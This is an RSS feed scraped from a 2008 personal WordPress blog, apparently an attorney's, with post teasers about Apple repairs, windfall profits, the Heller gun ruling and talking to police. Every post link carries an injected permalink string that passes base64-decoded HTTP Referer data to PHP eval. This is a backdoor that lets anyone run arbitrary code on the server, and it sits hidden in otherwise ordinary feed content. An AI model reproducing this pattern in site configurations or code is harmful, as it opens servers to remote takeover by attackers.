http://josh.toddhacker.com/wordpress Tue, 02 Dec 2008 21:19:53 +0000 http://backend.userland.com/rss092 en What to do when you can't pay the bills. http://josh.toddhacker.com/wordpress/2008/12/02/debt-collection/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Apple was up to their old tricks again yesterday.  I have a bad battery on my Macbook (determined after 2 calls and 45 mins on the phone with tech support).  They offered to ship me a new battery as long as I give them a credit card number so that ... http://josh.toddhacker.com/wordpress/2008/11/06/appled-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I assure you that the Turkeydog would be a goner if this had happened to me. http://josh.toddhacker.com/wordpress/2008/09/30/man-v-shark/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Honestly, I don't think anyone will be surprised. http://josh.toddhacker.com/wordpress/2008/09/24/consider-me-underwhelmed/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ UPDATED: 8/12/08 below Our office is almost entirely Apple. We made the switch shortly after opening our doors, and, overall, I have been very happy with our machines. The only problem I've really had (that is not user created) is that the roller ball on my wireless mouse has ... http://josh.toddhacker.com/wordpress/2008/08/11/rotten-apple/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The term "windfalls profits" that has increasingly been thrown around the political arena lately really gets under my skin.  I intended to write up my thoughts on the issue, but I found a great article that pretty much covers it here.  Comments?  Arguments? http://josh.toddhacker.com/wordpress/2008/08/05/windfall-profits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, that didn't take long. Sure enough, the categorization and weeding of specific firearms under Heller has already begun. Since the Supreme Court allows elimination of entire classes of weapons from Second Amendment protection simply because they are unpopular, it is inevitable that gun haters will move to ... http://josh.toddhacker.com/wordpress/2008/07/08/so-it-begins/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I’ve finally finished reading D.C. v. Heller, the 157-page monster Supreme Court ruling regarding possession of handguns in DC. Now for my comment (please excuse the poor citation form; all cites refer to the slip opinion): Gun rights supporters far and wide have hailed this opinion as the cornerstone for a ... http://josh.toddhacker.com/wordpress/2008/07/07/district-of-columbia-v-heller/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A very well-respected professor at my former law school recently gave a presentation on why you should never talk to the police.  As an attorney, I believe that the information presented in the presentation is something that everyone should know.  Take some time and watch it; it may save you some jail ... http://josh.toddhacker.com/wordpress/2008/06/25/police/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Shark Hunt http://josh.toddhacker.com/wordpress/2008/06/23/good-work/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/